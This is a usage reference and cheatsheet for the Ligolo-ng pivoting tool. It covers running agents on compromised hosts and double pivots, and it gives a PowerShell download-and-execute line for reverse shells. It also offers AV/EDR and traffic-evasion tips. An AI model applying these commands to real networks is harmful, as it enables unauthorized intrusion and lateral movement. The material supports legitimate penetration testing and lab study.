Author: Nicolas Chatelain (@nicocha30) Repo: https://github.com/nicocha30/ligolo-ng Docs: https://docs.ligolo.ng/ Description: Advanced, simple tunneling/pivoting tool using a TUN interface (no SOCKS/proxychains needed) Current Version: 0.8.3 (Feb 2026) Target Platform: Cross-platform (Go) — proxy on Windows/Linux/macOS/BSD, agent on almost any Go-supported OS/arch
Overview
Ligolo-ng is a pivoting tool that replaces the classic SOCKS proxy / proxychains workflow with a userland TUN interface powered by gVisor. Instead of wrapping every tool invocation in proxychains, you add a route to a virtual network interface on your attacker box, and any tool (nmap, smbclient, evil-winrm, CrackMapExec/NetExec, etc.) just works natively against the pivoted network — no SOCKS wrapper required.
How it works:
- The proxy (runs on your C2/attacker box) creates a local
tuninterface. Packets sent to that interface are intercepted by gVisor's userland network stack. - The agent (runs on the compromised host) receives translated connection requests over a single multiplexed TLS connection and performs the real
connect()/socket calls on the target's network. - For TCP: SYN →
connect()on the agent; SYN-ACK on success; RST onECONNRESET/ECONNABORTED/ECONNREFUSED; nothing on timeout. - Supports TCP, UDP, and ICMP echo (ping) forwarding.
Key capabilities:
- No privileges required on the agent — full tunneling with a standard, unprivileged user
- Reverse (agent → proxy) or bind (proxy → agent) connection modes
- Multiple simultaneous agents/tunnels, each on its own TUN interface
- Built-in
interface_create/route_add— no manualip tuntapneeded (>= v0.6) - Listener relaying on the agent for double/triple pivoting without extra tools
- Automatic Let's Encrypt certs, custom certs, or self-signed with fingerprint verification
- Agent-side local port access via a "magic" CIDR (
240.0.0.0/4) — no separate SSH-Lneeded - Multiplayer Web UI + REST API (since v0.8) for team engagements
- Config file for autobinding agents to interfaces and pre-registering routes
- Auto-reconnect on the agent side if the connection drops
- WebSocket transport support, for blending in with HTTPS traffic or going through a reverse proxy
How it's different from a SOCKS pivot (Chisel/Meterpreter/ssh -D): those forward individual sockets through a proxy protocol that every downstream tool has to speak (via proxychains). Ligolo-ng instead builds a real (virtual) network interface on your box, so routing "just works" at the OS level — better performance, works with tools that don't play nicely with SOCKS (raw nmap scans, ICMP pings, etc.), at the cost of running the proxy with the ability to create a TUN device (needs elevated privileges on the proxy side only).
Architecture: Proxy vs Agent
| Component | Runs on | Privileges | Role |
|---|---|---|---|
proxy |
Attacker/C2 box | Needs rights to create a TUN interface (root/admin, or CAP_NET_ADMIN) |
Listens for agent connections, hosts the CLI, manages tunnels/routes/listeners |
agent |
Compromised/pivot host | None required | Connects (or listens) for the proxy, performs actual socket operations on its local network |
The agent is a single static Go binary with no dependencies — copy it over and run it. It never needs to write to disk beyond itself (no config, no temp files by default).
Installation & Building
# Kali (included by default, but the repo release is usually newer)
sudo apt install ligolo-ng
# Precompiled binaries (recommended) — grab proxy + agent for your OS/arch
# https://github.com/nicocha30/ligolo-ng/releases
# Build from source (requires Go >= 1.20)
git clone https://github.com/nicocha30/ligolo-ng
cd ligolo-ng
go build -o agent cmd/agent/main.go
go build -o proxy cmd/proxy/main.go
# Cross-compile the agent for Windows targets
GOOS=windows GOARCH=amd64 go build -o agent.exe cmd/agent/main.go
# Cross-compile for common pivot targets
GOOS=linux GOARCH=amd64 go build -o agent_linux_amd64 cmd/agent/main.go
GOOS=linux GOARCH=arm64 go build -o agent_linux_arm64 cmd/agent/main.go
GOOS=darwin GOARCH=amd64 go build -o agent_darwin_amd64 cmd/agent/main.go
GOOS=windows GOARCH=386 go build -o agent_win_x86.exe cmd/agent/main.go
Windows proxy note: you need the Wintun driver — place wintun.dll (matching architecture) next to proxy.exe.
Proxy Server Flags
ligolo-proxy -h
-allow-domains string
autocert authorised domains, if empty, allow all domains, comma-separated
-api-laddr string
API server listening address (default: 127.0.0.1:8080)
-autocert
automatically request Let's Encrypt certificates, requires port 80 to be accessible
-certfile string
TLS server certificate (default "certs/cert.pem")
-config string
the config file to use
-cpuprofile file
write cpu profile to file
-daemon
run as daemon mode (no CLI)
-keyfile string
TLS server key (default "certs/key.pem")
-laddr string
listening address (prefix with http(s):// for websocket) (default "0.0.0.0:11601")
-memprofile file
write memory profile to file
-nobanner
don't show banner on startup
-selfcert
dynamically generate self-signed certificates
-selfcert-domain string
the selfcert TLS domain to use (default "ligolo")
-v enable verbose mode
-version
show the current version
Agent Flags
ligolo-agent -h
-accept-fingerprint string
accept certificates matching the following SHA256 fingerprint (hex format)
-bind string
bind to ip:port (agent acts as the listener/server)
-connect string
connect to proxy (domain:port)
-ignore-cert
ignore TLS certificate validation (dangerous), only for debug purposes
-proxy string
proxy URL (http://admin:pass@ip:8080) or socks://admin:pass@ip:8080 to relay agent traffic
-reconnect
auto-reconnect after established connection is lost (default true)
-reconnect-delay int
reconnection delay in seconds (default 20)
-reconnect-timeout int
total reconnection timeout in seconds (default 300 = 5 minutes)
-retry
auto-retry on initial connection error
-retry-delay int
retry delay in seconds for initial connection (default 5)
-ua string
HTTP User-Agent (default mimics Chrome on Windows)
-v enable verbose mode
-version
show the current version
TLS Options
Three ways to secure the proxy ↔ agent connection:
# 1) Let's Encrypt autocert (port 80 must be reachable for validation)
./proxy -autocert
# optionally restrict which domains can be requested
./proxy -autocert -allow-domains c2.example.com
# 2) Your own cert/key pair
./proxy -certfile /path/fullchain.pem -keyfile /path/privkey.pem
# 3) Self-signed (fastest for labs/CTFs)
./proxy -selfcert
# Optionally set the CN used for the self-signed cert (default: "ligolo")
./proxy -selfcert -selfcert-domain evilcorp
Verifying self-signed certs (recommended over blind trust):
ligolo-ng » certificate_fingerprint
INFO[0203] TLS Certificate fingerprint for ligolo is: D005527D2683A8F2DB73022FBF23188E064493CFA17D6FCF257E14F4B692E0FC
# Agent pins to that fingerprint instead of trusting blindly
./agent -connect 10.10.10.5:11601 -accept-fingerprint D005527D2683A8F2DB73022FBF23188E064493CFA17D6FCF257E14F4B692E0FC
For labs only — skip all verification:
./agent -connect 10.10.10.5:11601 -ignore-cert
-ignore-certdisables MITM protection entirely. Fine for HTB/PG/OSCP labs, avoid on real engagements — prefer fingerprint pinning.
Starting Up
# On the proxy/attacker box
./proxy -selfcert
# or with Let's Encrypt
./proxy -autocert
# On the compromised target (no privileges needed)
./agent -connect attacker_c2_server.com:11601 -ignore-cert
Once the agent connects, a session appears on the proxy:
INFO[0102] Agent joined. name=user@hostname remote="10.10.10.20:38000"
ligolo-ng » session
? Specify a session : 1 - user@hostname - 10.10.10.20:38000
Over a SOCKS5 pivot (chaining through an existing proxy):
./agent -connect attacker_c2:11601 -proxy socks://127.0.0.1:1080
# credentials if needed
./agent -connect attacker_c2:11601 -proxy socks://admin:password@127.0.0.1:1080
Interface & Routing
Creating the TUN interface
# Manual (works on any Ligolo-ng version)
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
# Built-in (Ligolo-ng >= v0.6), no manual ip tuntap needed
ligolo-ng » interface_create --name "ligolo"
INFO[3185] Creating a new "ligolo" interface...
INFO[3185] Interface created!
macOS note: interfaces must be named utun[0-9], e.g. utun4.
Adding routes
# Built-in route management
ligolo-ng » interface_add_route --name ligolo --route 192.168.1.0/24
INFO[3206] Route created.
Or manually per-OS:
# Linux
sudo ip route add 192.168.1.0/24 dev ligolo
# Windows (find the interface index first)
netsh int ipv4 show interfaces
route add 192.168.1.0 mask 255.255.255.0 0.0.0.0 if <IFACE_IDX>
# macOS
sudo ifconfig utun4 alias 240.0.0.1 255.255.255.0
sudo route add -net 192.168.1.0/24 -interface utun4
Inspecting the agent's network
[Agent : user@hostname] » ifconfig
┌───────────────────────────────────────────────┐
│ Interface 3 │
├──────────────┬────────────────────────────────┤
│ Name │ wlp3s0 │
│ Hardware MAC │ de:ad:be:ef:ca:fe │
│ MTU │ 1500 │
│ Flags │ up|broadcast|multicast │
│ IPv4 Address │ 192.168.1.30/24 │
└──────────────┴────────────────────────────────┘
Use the subnets shown here to decide which routes to add.
In-Session Commands
Core commands available in the Ligolo-ng CLI (ligolo-ng » prompt and per-agent [Agent : user@host] » prompt):
| Command | Description |
|---|---|
session |
List/select a connected agent to operate on |
ifconfig |
Show the agent's network interfaces (find target subnets) |
interface_create --name NAME |
Create a local TUN interface (proxy side) |
interface_add_route --name NAME --route CIDR |
Add a route to a TUN interface |
interface_list / iflist |
List local TUN interfaces and routes |
route_add --name NAME --route CIDR |
Add a route (newer alias, config-file aware) |
route_list |
Show configured routes |
route_del |
Remove a route |
tunnel_start --tun NAME |
Start relaying traffic for the selected agent through the named interface |
tunnel_stop |
Stop the active tunnel for the selected agent |
listener_add --addr IP:PORT --to IP:PORT [--tcp\|--udp] |
Listen on the agent, relay to proxy (or elsewhere) |
listener_list |
Show active agent listeners |
listener_stop ID |
Stop a listener by index |
connect_agent --ip IP:PORT |
Proxy connects out to a bound (listening) agent |
certificate_fingerprint |
Print the proxy's TLS certificate fingerprint |
agent_kill |
Remotely terminate the selected agent process |
help |
List all commands |
Listeners (Agent Binding/Relaying)
Listeners let you open a port on the agent and relay any connection made to it back to the proxy (or to any other reachable address). This is the mechanism used for double-pivoting, and it's also handy for catching reverse shells/reverse payloads launched inside the target network without needing another tool.
[Agent : user@hostname] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
INFO[1208] Listener created on remote agent!
This makes the agent listen on 0.0.0.0:1234; anything connecting there gets relayed to 127.0.0.1:4321 on the proxy box.
# On the proxy
nc -lvp 4321
Any connection to the agent's port 1234 now surfaces at the proxy's nc listener — useful for catching a reverse shell fired from deep inside the pivoted network without setting up a second tunnel.
[Agent : user@hostname] » listener_list
┌────────────────────────────────────────────────────────────────────────────────┐
│ Active listeners │
├───┬─────────────────────────┬─────────────────────────┬────────────────────────┤
│ # │ AGENT │ AGENT LISTENER ADDRESS │ PROXY REDIRECT ADDRESS │
├───┼─────────────────────────┼─────────────────────────┼────────────────────────┤
│ 0 │ user@hostname │ 0.0.0.0:1234 │ 127.0.0.1:4321 │
└───┴─────────────────────────┴─────────────────────────┴────────────────────────┘
[Agent : user@hostname] » listener_stop 0
INFO[1505] Listener closed.
Flags: --addr (agent-side bind address, required), --to (redirect target, required), --tcp/--udp (protocol, default TCP).
Agent as Server (Bind Mode)
By default the agent connects out to the proxy (reverse connection — best for agents behind NAT/firewalls). If the target host is directly reachable and you'd rather have the agent listen and the proxy connect in, use bind mode:
# On the target
./agent -bind 127.0.0.1:4444
WARN[0000] TLS Certificate fingerprint is: 05518ABE4F0D3B137A2365E0DE52A01FE052EE4C5A2FD12D8E2DD93AED1DD04B
INFO[0000] Listening on 127.0.0.1:4444...
# On the proxy
ligolo-ng » connect_agent --ip 127.0.0.1:4444
? TLS Certificate Fingerprint is: 05518ABE...AED1DD04B, connect? Yes
INFO[0021] Agent connected. name=user@hostname remote="127.0.0.1:4444"
Access to Agent's Localhost (127.0.0.1)
Ligolo-ng reserves the unused 240.0.0.0/4 IPv4 block as a "magic" CIDR that always maps to the currently selected agent's own loopback (127.0.0.1). This lets you reach services bound only to localhost on the pivot host (e.g., an internal web app, a DB only listening on 127.0.0.1) without SSH local forwarding.
sudo ip route add 240.0.0.1/32 dev ligolo
nmap 240.0.0.1 -sV
Nmap scan report for 240.0.0.1
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian
8000/tcp open http SimpleHTTPServer 0.6 (Python 3.9.2)
Configuration File
Since v0.8, the proxy supports a YAML config file (-config path.yaml) covering agent autobinding, pre-registered interfaces/routes, and the Web UI/API.
agent:
deadbeefcafe:
autobind: false
interface: ligolo
interface:
ligolosample:
routes:
- 10.254.0.0/24
- 10.255.0.0/24
web:
behindreverseproxy: false
corsallowedorigin:
- https://webui.ligolo.ng
debug: false
enabled: false
enableui: true
listen: 127.0.0.1:8080
logfile: ui.log
secret: 3383861a48e1332583e5d8cd9946d24b98be780e0c64581d693cb4ff50a68a68
tls:
alloweddomains: []
autocert: false
certfile: ""
enabled: false
keyfile: ""
selfcert: false
selfcertdomain: ligolo
trustedproxies:
- 127.0.0.1
users:
ligolo: <argon2id-hash-or-plaintext-to-auto-hash>
Autobinding agents
Automatically attach a specific agent (identified by session ID, default = MAC address) to an interface the instant it connects — no manual session/tunnel_start.
agent:
deadbeefcafe:
autobind: true
interface: ligolo
INFO[0001] Agent joined. id=deadbeefcafe name=user@hostname remote="10.10.10.20:56072"
INFO[0001] Starting autobind session: deadbeefcafe on interface ligolo
INFO[0001] Starting tunnel to user@hostname (deadbeefcafe)
Automatic interfaces & routes
Pre-declare interfaces and their routes; Ligolo-ng creates/attaches them automatically on tunnel start. Any interface/route you create interactively (interface_create, route_add) also gets persisted back into this file automatically.
interface:
ligolo:
routes:
- 10.55.0.0/24
Web section fields
| Field | Purpose |
|---|---|
behindreverseproxy |
Set true when running behind Nginx/Caddy/etc. |
corsallowedorigin |
Allowed CORS origins for the API |
debug |
Verbose web server logging |
enabled |
Enable/disable the API (default false) |
enableui |
Serve the WebUI itself (default true) |
listen |
Listening address for the API/UI |
logfile |
Where HTTP logs go |
secret |
JWT signing secret (auto-generated on first run) |
tls |
TLS block, same semantics as proxy TLS flags |
trustedproxies |
CIDRs/IPs trusted to set X-Forwarded-For |
users |
Web UI login accounts — plaintext passwords are auto-hashed to argon2id on save |
Web Interface / API
Since v0.8, Ligolo-ng ships an experimental multiplayer Web UI + REST API that can drive every CLI function over HTTP — useful for team engagements where multiple operators need visibility into the same tunnels.
web:
enabled: true
enableui: true
listen: 0.0.0.0:8080
users:
teamlead: SuperSecretPassword123!
./proxy -selfcert -config ligolo.yaml
Then browse to http://<proxy>:8080 (or https:// if TLS is configured under web.tls). The UI shows connected agents, active tunnels, routes, and listeners, and lets any authenticated operator drive them — same underlying engine as the CLI.
Related project: ligolo-ng-web is a standalone frontend for the same API if you want to run/build the UI separately.
Double Pivoting (Nested Tunnels)
When a second network is only reachable through your first pivot (the second host has no route to your C2), use the first agent's listener to relay a second agent's connection back to the proxy.
[Kali/Proxy] <--TLS--> [Agent 1 / DMZ host] ---> [Agent 2 / internal host] ---> [deep internal network]
Step 1 — Proxy: start normally (./proxy -selfcert), connect Agent 1 as usual, set up its tunnel/routes so you can reach the DMZ subnet.
Step 2 — On Agent 1's session, add a listener to forward to the proxy's Ligolo port:
[Agent : user@dmz-host] » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:11601
INFO[1208] Listener created on remote agent!
--to 127.0.0.1:11601 targets the proxy's own Ligolo listening port (11601 is the default) — from Agent 1's perspective, 127.0.0.1 is the proxy, since that's where its control connection terminates.
[Agent : user@dmz-host] » listener_list
┌────────────────────────────────────────────────────────────────────────────┐
│ Active listeners │
├───┬────────────────┬───────────────────────┬────────────────────────────────┤
│ # │ AGENT │ AGENT LISTENER ADDR │ PROXY REDIRECT ADDRESS │
├───┼────────────────┼───────────────────────┼────────────────────────────────┤
│ 0 │ user@dmz-host │ 0.0.0.0:4444 │ 127.0.0.1:11601 │
└───┴────────────────┴───────────────────────┴────────────────────────────────┘
Step 3 — Deploy the second agent on the internal host, but point it at Agent 1's IP and listener port (not the proxy directly):
./agent -connect 10.24.0.30:4444 -ignore-cert
Agent 1 relays the handshake to the proxy, and a second session appears in the Ligolo-ng CLI:
ligolo-ng » session
? Specify a session :
1 - user@dmz-host - 10.10.10.20:38000
2 - user@internal - 10.24.0.55:xxxxx
Step 4 — Select session 2, create a second interface, add routes for the deeper network, start its tunnel:
ligolo-ng » session
> 2
[Agent : user@internal] » ifconfig
[Agent : user@internal] » interface_create --name "ligolo-2"
[Agent : user@internal] » interface_add_route --name ligolo-2 --route 172.16.9.0/24
[Agent : user@internal] » tunnel_start --tun ligolo-2
You now have two independent TUN interfaces on your attacker box — ligolo for the DMZ subnet and ligolo-2 for the deep-internal subnet — both usable simultaneously, no proxychains stacking required. Repeat the same listener-relay pattern for triple+ pivots.
# Attacker box routing table after both hops are set up
sudo ip route add 192.168.1.0/24 dev ligolo # via Agent 1
sudo ip route add 172.16.9.0/24 dev ligolo-2 # via Agent 2 (through Agent 1)
Running Behind a Reverse Proxy
Fronting the Ligolo-ng listener with Nginx (or similar) lets you blend the C2 channel in with normal HTTPS traffic and centralize your TLS termination.
server {
server_name DNS_NAME;
index index.html;
location / {
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Upgrade websocket;
proxy_set_header Connection Upgrade;
proxy_http_version 1.1;
proxy_pass https://LOCAL_IP:PORT;
}
listen 443 ssl;
ssl_certificate /etc/letsencrypt/live/DNS_NAME/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/DNS_NAME/privkey.pem;
include /etc/letsencrypt/options-ssl-nginx.conf;
ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem;
}
# Proxy binds locally, Nginx fronts it with real certs
./proxy -laddr https://LOCAL_IP:PORT -certfile /etc/letsencrypt/live/DNS_NAME/fullchain.pem -keyfile /etc/letsencrypt/live/DNS_NAME/privkey.pem
# Agent connects to the public DNS name, not the backend directly
./agent -connect https://DNS_NAME
Note the -laddr prefix of http:// or https:// — this switches the proxy's transport to WebSocket, required for it to sit cleanly behind a standard HTTP(S) reverse proxy.
Agent Deployment Tricks
# Basic reverse connection, ignoring cert validation (labs/CTFs)
./agent -connect 10.10.14.5:11601 -ignore-cert
# Verbose (debugging connectivity issues)
./agent -connect 10.10.14.5:11601 -ignore-cert -v
# Pin to a known cert fingerprint instead of -ignore-cert (safer)
./agent -connect 10.10.14.5:11601 -accept-fingerprint <sha256_fingerprint>
# Blend in: mimic a normal browser User-Agent (default already does this)
./agent -connect 10.10.14.5:443 -ua "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
# Route agent traffic through an existing SOCKS proxy on the compromised host
./agent -connect 10.10.14.5:11601 -proxy socks://127.0.0.1:1080 -ignore-cert
# Resilient agent: retry on first connect, auto-reconnect if dropped
./agent -connect 10.10.14.5:11601 -ignore-cert -retry -retry-delay 10 -reconnect -reconnect-delay 15
# Windows execution (drop agent.exe via SMB/HTTP upload, then run)
agent.exe -connect 10.10.14.5:11601 -ignore-cert
# Background on Linux
nohup ./agent -connect 10.10.14.5:11601 -ignore-cert >/dev/null 2>&1 &
disown
OPSEC note: the agent is a static Go binary — will trip AV/EDR on signature alone in some environments. Consider renaming the binary, using -ua to mimic legitimate browser traffic, running the proxy in WebSocket mode behind a reverse proxy (see above) to blend with HTTPS, and testing detection coverage before dropping on a monitored host.
Nmap & Tooling Notes (OPSEC/Behavior)
Because the agent runs unprivileged, it cannot send raw packets — SYN scans become real connect() calls performed by the agent process.
# Recommended nmap flags when scanning through a Ligolo-ng tunnel
nmap 192.168.1.0/24 -sV -n --unprivileged
# or
nmap 192.168.1.0/24 -sV -n -PE
Without --unprivileged/-PE, nmap may misreport host-up status since it expects to see raw ICMP/TCP responses it controls directly. Once routes are set, tools work natively — no proxychains prefix needed:
nmap -sV -n 192.168.1.10
smbclient -L //192.168.1.10 -U user
evil-winrm -i 192.168.1.10 -u user -p 'Password123!'
netexec smb 192.168.1.0/24 -u user -p 'Password123!'
xfreerdp /v:192.168.1.10 /u:user /p:'Password123!'
Common Attack Workflows
Workflow: Basic Single Pivot (CTF/HTB style foothold)
# Attacker
./proxy -selfcert
# Compromised box (upload agent binary first, e.g. via HTTP/SCP/SMB)
./agent -connect 10.10.14.5:11601 -ignore-cert
ligolo-ng » session
> 1
[Agent : user@target] » ifconfig
# Note the internal subnet, e.g. 172.16.5.0/24
ligolo-ng » interface_create --name ligolo
[Agent : user@target] » interface_add_route --name ligolo --route 172.16.5.0/24
[Agent : user@target] » tunnel_start --tun ligolo
# Now scan/attack the internal subnet directly
nmap -sV -n --unprivileged 172.16.5.0/24
Workflow: Reaching a Service Bound to Agent's Localhost Only
sudo ip route add 240.0.0.1/32 dev ligolo
nmap -sV 240.0.0.1
curl http://240.0.0.1:8000/
Workflow: Double Pivot (see full walkthrough above)
[Agent : user@dmz] » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:11601
./agent -connect <DMZ_HOST_IP>:4444 -ignore-cert
ligolo-ng » session
> 2
[Agent : user@internal] » interface_create --name ligolo-2
[Agent : user@internal] » interface_add_route --name ligolo-2 --route 10.1.30.0/24
[Agent : user@internal] » tunnel_start --tun ligolo-2
Workflow: Catching a Reverse Shell From Deep in the Pivoted Network
[Agent : user@target] » listener_add --addr 0.0.0.0:9001 --to 127.0.0.1:9001 --tcp
# On the proxy
nc -lvp 9001
# Payload run on a machine that can reach the agent but not the internet
# points at the agent's IP, not the attacker's — the agent relays it home
IEX(New-Object Net.WebClient).DownloadString('http://<agent_ip>:8000/shell.ps1')
Troubleshooting
| Symptom | Likely Cause / Fix |
|---|---|
| Agent connects then immediately drops | Certificate mismatch — use -ignore-cert for labs or verify the fingerprint |
interface_create fails on Linux |
Proxy user lacks rights to create TUN devices — run as root or grant CAP_NET_ADMIN |
| nmap reports all hosts down | Add --unprivileged or -PE — the agent can't send raw packets |
| Windows targets can't run agent | Ensure correct architecture (x86 vs x64); check Defender/AV isn't quarantining the binary |
| Traffic works but is slow | Check for MTU mismatches; verify you're not double-tunneling unnecessarily |
| Can't reach a service on the pivot host itself | Use the 240.0.0.0/4 magic CIDR trick instead of the host's real IP |
| Web UI unreachable | web.enabled defaults to false in the config file — must explicitly enable it |
| Second agent in double-pivot won't connect | Confirm you pointed it at Agent 1's IP:listener-port, not the proxy directly |
Cheatsheet
Quick reference for the most common Ligolo-ng operations. Replace placeholders as needed.
Startup
# Proxy (attacker side)
./proxy -selfcert
./proxy -autocert # Let's Encrypt, needs port 80
./proxy -laddr https://0.0.0.0:443 -certfile fullchain.pem -keyfile privkey.pem
# Agent (target side) — no privileges required
./agent -connect ATTACKER_IP:11601 -ignore-cert
./agent -connect ATTACKER_IP:11601 -accept-fingerprint SHA256_FINGERPRINT
./agent -bind 0.0.0.0:4444 # bind mode, proxy connects in
Session & Tunnel Setup
session # select an agent
ifconfig # view agent's networks
interface_create --name ligolo # create local TUN
interface_add_route --name ligolo --route 10.0.0.0/24
tunnel_start --tun ligolo # start relaying
tunnel_stop # stop relaying
iflist / interface_list # list local interfaces
route_list # list routes
Listeners (Reverse Shell Catching / Double Pivot)
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:11601 --tcp # relay to proxy (pivot chaining)
listener_add --addr 0.0.0.0:9001 --to 127.0.0.1:9001 --tcp # catch shell on proxy
listener_list
listener_stop 0
Bind Mode
# Target
./agent -bind 127.0.0.1:4444
# Proxy
connect_agent --ip 127.0.0.1:4444
Localhost Access Trick
sudo ip route add 240.0.0.1/32 dev ligolo
nmap 240.0.0.1 -sV
Manual Routing (fallback if not using built-ins)
# Linux
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 10.0.0.0/24 dev ligolo
# Windows
netsh int ipv4 show interfaces
route add 10.0.0.0 mask 255.255.255.0 0.0.0.0 if <IDX>
# macOS
sudo ifconfig utun4 alias 240.0.0.1 255.255.255.0
sudo route add -net 10.0.0.0/24 -interface utun4
Scanning Through the Tunnel
nmap -sV -n --unprivileged 10.0.0.0/24
netexec smb 10.0.0.0/24 -u user -p pass
evil-winrm -i 10.0.0.10 -u user -p pass
Config File Skeleton
agent:
<agent_id>:
autobind: true
interface: ligolo
interface:
ligolo:
routes:
- 10.0.0.0/24
web:
enabled: true
listen: 127.0.0.1:8080
users:
ligolo: ChangeMe123!
./proxy -selfcert -config ligolo.yaml
Double Pivot Quick Sequence
# Agent 1 session
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:11601
# On second pivot host
./agent -connect <AGENT1_IP>:4444 -ignore-cert
# Back on proxy: select new session, then
interface_create --name ligolo-2
interface_add_route --name ligolo-2 --route 172.16.0.0/24
tunnel_start --tun ligolo-2
References
- GitHub: https://github.com/nicocha30/ligolo-ng
- Official Documentation: https://docs.ligolo.ng/
- Releases: https://github.com/nicocha30/ligolo-ng/releases
- Ligolo-ng-Web (standalone WebUI): https://github.com/nicocha30/ligolo-ng-web
- gVisor (userland network stack): https://gvisor.dev/
- Wintun driver (Windows proxy requirement): https://www.wintun.net/
- Kali Tools Reference: https://www.kali.org/tools/ligolo-ng/